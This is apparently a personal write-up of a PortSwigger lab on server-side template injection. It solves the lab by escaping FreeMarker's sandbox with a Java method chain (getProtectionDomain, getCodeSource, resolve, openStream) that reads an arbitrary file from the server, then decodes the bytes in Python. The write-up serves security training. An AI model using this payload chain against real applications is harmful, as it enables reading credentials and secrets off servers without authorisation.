[This lab](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment) demonstrates how seemingly secure **FreeMarker sandboxing** can be bypassed using **method chaining** and access to fundamental Java classes. While sandboxing is meant to restrict what templates can access, FreeMarker does **not fully prevent method resolution**, especially when reflection-like capabilities are exposed.
By leveraging access to the `product` object, we can traverse through its `Class` and protection domain to reach Java standard libraries — eventually calling `openStream()` on a `File` URI to exfiltrate the contents of a sensitive file.
---
##### Step-by-Step Exploitation
###### 1. Log In and Edit a Template
Log in using:
```
Username: content-manager
Password: C0nt3ntM4n4g3r
```
- Edit the **product description template**
- Insert this test payload to confirm object access:
```
${product.getClass()}
```
If it returns something like:
```
class lab.actions
```
Then `getClass()` is accessible — the sandbox is **weak or misconfigured**.
![[CleanShot 2025-05-05 at 14.05.00.png]]
---
###### 2. Build a Method Chain to Read a File
Use standard Java methods accessible via `ClassLoader` and reflection:
```freemarker
${product
.getClass()
.getProtectionDomain()
.getCodeSource()
.getLocation()
.toURI()
.resolve("/home/carlos/my_password.txt")
.toURL()
.openStream()
.readAllBytes()?join(" ")}
```
This payload:
1. Starts from the `product` object
2. Gets the `Class` → `ProtectionDomain` → `CodeSource`
3. Builds a full file URI using `.resolve(...)
4. Opens a stream to the file
5. Reads its contents as bytes
6. Joins the byte array into a space-separated string (e.g., `97 98 99`)
Paste this into the template editor and **save**.
---
###### 3. Extract and Decode the File Contents
Once rendered, you’ll see output like:
```
97 98 99 100 49 50 51
```
Convert this ASCII decimal sequence into characters:
```python
>>> bytes([97, 98, 99, 100, 49, 50, 51]).decode()
'abcd123'
```
That string is the content of `my_password.txt`.
![[CleanShot 2025-05-05 at 14.10.37.png]]
---
###### 4. Submit the Flag
Paste the decoded string into the lab's **Submit solution** form to solve it.
---
##### Why It Works
This is a **sandbox escape** by chaining method calls:
- `getClass()` → exposes Java type metadata
- `getProtectionDomain()` → shows where the class was loaded from
- `getCodeSource().getLocation()` → locates the JAR or class directory
- `.resolve(...)` and `.toURL()` → builds a file path
- `.openStream().readAllBytes()` → reads arbitrary file contents
---
##### 🐍 Quick Tip: Use Python to Decode Freemarker Byte Output Faster Than Burp
While Burp Suite is great for general request/response handling, decoding space-separated ASCII values like:
```
97 98 99 100 49 50 51
```
can be **painfully slow** in Burp Decoder unless you install and format with Hackvertor.
Instead, drop into a Python REPL or terminal and decode instantly:
```python
bytes([97, 98, 99, 100, 49, 50, 51]).decode()
# Output: 'abcd123'
```
Or copy-paste this one-liner:
```python
print(bytes([int(x) for x in "97 98 99 100 49 50 51".split()]).decode())
```
Way faster than clicking through Burp tabs — perfect for FreeMarker SSTI labs where output is numeric.